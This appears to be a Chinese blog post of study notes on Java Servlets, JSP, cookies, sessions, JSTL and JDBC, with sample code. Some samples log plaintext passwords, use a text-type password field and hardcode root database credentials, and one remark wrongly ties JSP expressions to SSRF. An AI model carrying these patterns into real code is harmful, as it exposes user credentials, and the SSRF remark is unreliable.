        //4.获取下载文件的输入流
        FileInputStream in = new FileInputStream(realPath);
        //5.创建缓冲区
        int len=0;
        byte[] buffer = new byte[1024];
        //6.获取输出流的对象
        ServletOutputStream out = resp.getOutputStream();
        //7.将FileOutputStream流写入到buffer缓冲区
        while((len=in.read(buffer))>0){
            out.write(buffer,0,len);
        }
        //关闭流
        in.close();
        out.close();


    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
3.验证码功能
前端实现
后端实现，需要用到Java的图片类，产生一个图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.kuang.servlet;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import javax.imageio.ImageIO;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.util.Random;

public class ImageServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //如何让浏览器5秒钟自动刷新一次；
        resp.setHeader("refresh","3");//设置服务器每三秒刷新一次
        //在内存中创建一个图片
        BufferedImage image = new BufferedImage(80, 20, BufferedImage.TYPE_INT_RGB);
        //得到图片
        Graphics2D g = (Graphics2D) image.getGraphics();//逼
        //设置图片的背景颜色
        g.setColor(Color.white);
        g.fillRect(0,0,80,20);
        //给图片写数据
        g.setColor(Color.BLUE);
        g.setFont(new Font(null,Font.ITALIC,20));
        g.drawString(makeNum(),0,20);

        //告诉浏览器，这个请求用图片的方式打开
        resp.setContentType("image/jpeg");
        //网站存在缓存，不让浏览器缓存
        resp.setDateHeader("expires",-1);
        resp.setHeader("Cache-Control","no-cache");
        resp.setHeader("Pragma","no-cache");

        //把图片写给浏览器
        ImageIO.write(image, "jpg", resp.getOutputStream());

    }
    //生成随机数
    private  String makeNum(){
        Random random = new Random();
        String num=random.nextInt(9999)+"";
        StringBuffer sb = new StringBuffer();
        for(int i=0;i<4-num.length();i++){
            sb.append(0);
        }
        num=sb.toString()+num;
        return num;//这样才能保证数字一定是4位的，如果不是4位会用0填充，不然没法生成小于1000的数
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
4.重定向（最重要的）
    url会变
    常见场景：用户登录
    方法：sendRedirect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.kuang.servlet;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;

public class RedirectServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.sendRedirect("/servlet_03_war/image");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

重定向（发两次请求，先向A发请求，获得B的路径，然后向B发请求）
转发（发一次请求，向A发请求，A获取B的内容后直接返回给客户端）

6.7 Request应用
HttpServletRequest
代表客户端的请求，客户通过Http协议请求访问服务器，Http请求中的所有信息会被封装到HTTPServletRequest，通过这个HTTPServletRequest的方法，获得客户端的所有信息

req.getContextPath()//获取项目路径（不是很好用，要确定它的根目录是什么）

补充：自己的理解：注册其实相当于创建一个文件，不如注册一个路径为/login，相当于在网页此项目上创建一个login文件，然后像是/index.jsp相当于和它同目录下的文件，所以互相访问可以用相对路径index.jsp和绝对路径/index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.kuang.servlet;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.util.Arrays;

public class LoginServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String username = req.getParameter("username");
        String password = req.getParameter("password");
        String[] hobby = req.getParameterValues("hobby");
        System.out.println(username);
        System.out.println(password);
        System.out.println(Arrays.toString(hobby));

        //通过请求转发(这里可以走相对路径，因为本文件相当于/login，所以相对路径就是success.jsp。也可以走绝对路径，因为网页根目录就是servlet-03，所以相对路径就是/success.jsp）
        req.getRequestDispatcher("success.jsp").forward(req,resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<%--
  Created by IntelliJ IDEA.
  User: 30389
  Date: 2022/1/24
  Time: 14:50
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>登录</title>
</head>
<body>
<h1>登录</h1>
<div style="text-align:center">
    <%--这里表单表示的意思：以post方式提交表单，提交到我们的Login请求(定位到login目录)--%>
    <form action="${pageContext.request.contextPath}/login" method="post">
        用户名：<input type="text" name="username"><br>
        密码：<input type="text" name="password"><br>
        爱好：
        <input type="checkbox" name="hobby" value="唱歌">唱歌
        <input type="checkbox" name="hobby" value="跳舞">跳舞
        <input type="checkbox" name="hobby" value="篮球">篮球
        <br>
        <input type="submit">
    </form>
</div>

</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%--
  Created by IntelliJ IDEA.
  User: 30389
  Date: 2022/1/24
  Time: 14:58
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<h1>登陆成功</h1>
</body>
</html>
1
2
3
4
5
6
7
8
<servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.kuang.servlet.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/login</url-pattern>
</servlet-mapping>

7.Cookie、Session
Cookie:服务端发给客户端，保存在客户端上的
Session：服务器自己保存客户端的访问信息，保存在服务器上

7.2 保存会话的两种技术
cookie
客户端技术（响应，请求）
session
服务器技术，可以保存用户的会话信息，我们可以把信息或者数据放在Session中

常见：登录维持

cookie：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.kuang.servlet;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;
import java.util.Date;

//保存用户上一次访问的时间
public class CookieDemo01 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //解决中文乱码问题
        req.setCharacterEncoding("utf-8");
        resp.setContentType("text/html");
        resp.setCharacterEncoding("utf-8");
        PrintWriter out= resp.getWriter();
        //从客户端获取cookie
        Cookie[] cookies = req.getCookies();
        //判断cookie是否存在
        if(cookies!=null){
            out.write("上一次访问的时间：");
            for(Cookie cookie:cookies){
                //获取cookie取得的名字,并判断是否为"lastLoginTime"
                if(cookie.getName().equals("lastLoginTime")){
                    //获取cookie中的值
                    long l = Long.parseLong(cookie.getValue());
                    Date data=new Date(l);//将cookie.getValue()的值转换为Date（时间）类型
                    out.write(String.valueOf(data));//将Date类型转换为string
                    out.write("<br>"+cookie.getValue());
                }
            }
        }else{
            out.write("这是第一次访问");
        }
        //服务器给客户端相应一个cookie
        Cookie cookie = new Cookie("lastLoginTime", System.currentTimeMillis()+"");//该方法的作用是返回当前的计算机时间，时间的表达格式为当前计算机时间和GMT时间(格林威治时间)1970年1月1号0时0分0秒所差的毫秒数。
        cookie.setMaxAge(24*60*60);//设置有效期为1天
        resp.addCookie(cookie);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

可以用这个程序测试cookie特性：当浏览器关闭（整个关闭）后，就不会再保存cookie了，会再次显示“这是第一次访问”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
（这种方法只是设置了cookie在浏览器的生存周期，cookie内容的有效期验证在服务端，根据cookie的内容等信息进行验证）

一个cookie只能存一个信息
一个web站点可以给浏览器发送多个cookie，最多存放20个cookie
cookie大小限制4kb
300个cookie是浏览器的上限

删除cookie：
1.不设置有效期，关闭浏览器自动失效
2.设置有效期时间为0（不想动程序主要代码，让cookie暂时失效的方法）

7.4 Session
什么是Session？
服务器会给每个用户（浏览器）常见Session对象
一个Session独占一个浏览器，只要浏览器没有关闭，这个Session就存在

Session和Cookie的区别：
session:我的理解：在客户端部分其实就是一个cookie，会获取一段数据，然后服务器也存储了这段数据，并且这段数据在服务器上对应着一些信息


创建session
1
创建一个对象：
1
查询session：
1
注销session：
1
2

设置session默认的超时时间：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

8、JSP
8.1 什么是JSP
Java Server Pages：Java服务器页面，也和Servlet一样，用于动态Web技术
（相当于把整个语句用out.write()打印）
最大特点：写JSP就像在写HTML
区别：HTML只给用户提供静态的数据，JSP页面中可以嵌入Java代码，为用户提供动态数据

8.2 JSP原理
思路：JSP是怎么执行的
tomcat中有一个work目录，IDEA中使用Tomcat的会在IDEA的tomcat中生产一个work目录
JSP最后会转换成一个JAVA类

8.3 JSP基础语法和指令
导入包（maven）
Servlet，jsp，jstl
1
2
3
4

JSP语法基础
注释:```<%--hcfakscjnaso--%>```(不会在客户端显示)
JSP表达式(这就是ssrf的原因)
1
JSP脚本片段```<%= java代码%>```：作用域为方法
1
JSP声明 ```<%! java代码%>```：作用域为类
1
2
3
JSP声明会被编译到生成的JAVA类的类中，JSP脚本片段会被生成到_jspService方法中

简化：用```$```符号取数（ssrf的另一种你那个用法）（EL表达式）
1
2
3
4
5

导包：```<%@ page import = "java.util.Date"%>```

定制错误页面 ```<%@ page errorPage="500.jsp" %>```错误时直接跳转到自定义的500.jsp页面
（可以在web.xml里进一步配置error界面）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

文件包含：```<%@ include file="common/header.jsp"%>```
文件包含（JSP标签）```<jsp:include page="common/header.jsp"/>```


8.5 9大内置对象
PageContext ：存东西
Request ：存东西哦
Response
Session ： 存东西
Application  :存东西（ServletContext）
config ：（ServletConfig）
out
page
excepetion

用法举例：```<%@ page import = "java.util.Date"%>```
存东西：(取东西就是get，省略)

<%
pageContext.setAttribute(,); //保存的数据只在一个页面中有效
request.setAttribute(,); //保存的数据只在一次请求中有效，请求转发会携带这个数据
session.setAttribute(,); //保存的数据只在一次会话中有效，从打开刘loan器到关闭浏览器
application.setAttribute(,); //保存的数据只在服务器中有效，从打开浏览器到关闭浏览器
%>

1
2
3
4
5
6
7
8
9
10

8.6 jsp标签，jstl标签，el标签

el表达式： ```${}```
	获取数据
	执行运算
	获取web开发的常用对象


jsp标签：

<jsp:include page=”” />
<jsp:forward page=”” />

<jsp:forward page=”” >
<jsp:param name=”name” value=”kuang”>
<jsp:param name=”age” value=”1”>

1
2
3
4
5
6
7
8
9
10

jstl表达式：
jstl标签库的使用就是为了弥补html标签的不足，它自定义了许多的标签，可以供我们使用，标签的功能和java代码一样
（菜鸟教程：https://www.runoob.com/jsp/jsp-jstl.html ）
核心标签
格式化标签
sql标签
xml标签

例：
1
2
3
4
5
6
7
8
9
10
11
12
13

9.JavaBean
实体类
JavaBean有特定的写法：
	必须要有一个无参构造
	属性必须私有化
	必须有对应的get/set方法
一般用来和数据库的字段做映射 ORM
ORM：对象关系映射
	表->类
	字段->属性
	行记录->对象

<jsp:useBean id=”people” class=”” scope=”page”/> //class的参数是自己设置的实体类，里面存的数据，可以理解为数据库
<jsp:setProperty name=”people” property=”name” value=”kuang”/> //存数据
<jsp:getProperty name=”people” property=”name” /> //查数据

1
2
3
4
5
6
7
8
9

10、MVC三层架构：
什么是MVC：Model  View  Controller  模型、视图、控制器

（没有什么事多加一层不能解决的）

11.JDBC(抽时间补，通过url的方式访问mysql)
导入mysql-connect-java的接口

String url=”jdbc:mysql://localhost:3306/jdbc?useUnicode=true&charaterEncode=utf-8&useSSL=true”;
String username=”root”;
String password=”123456”;
Connection connection= DriverManager.getConnection(url,username,password);//通过访问端口的方式连接sql
Statement statement=connection.createStatement();//执行sql的对象
String sql=”SELECT * FROM users”;
ResultSet resultSet = statement.executeQuery(sql);//查询并返回结果
//打印
while(resultSet.next()){
System.out.println(resultSet.getObject(“id”));
}
//释放连接
resultSet.close();
statement.close();
connection.close();
```

展开全文 >>

本站总访问量次 |

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

很惭愧<br><br>只做了一点微小的工作<br>谢谢大家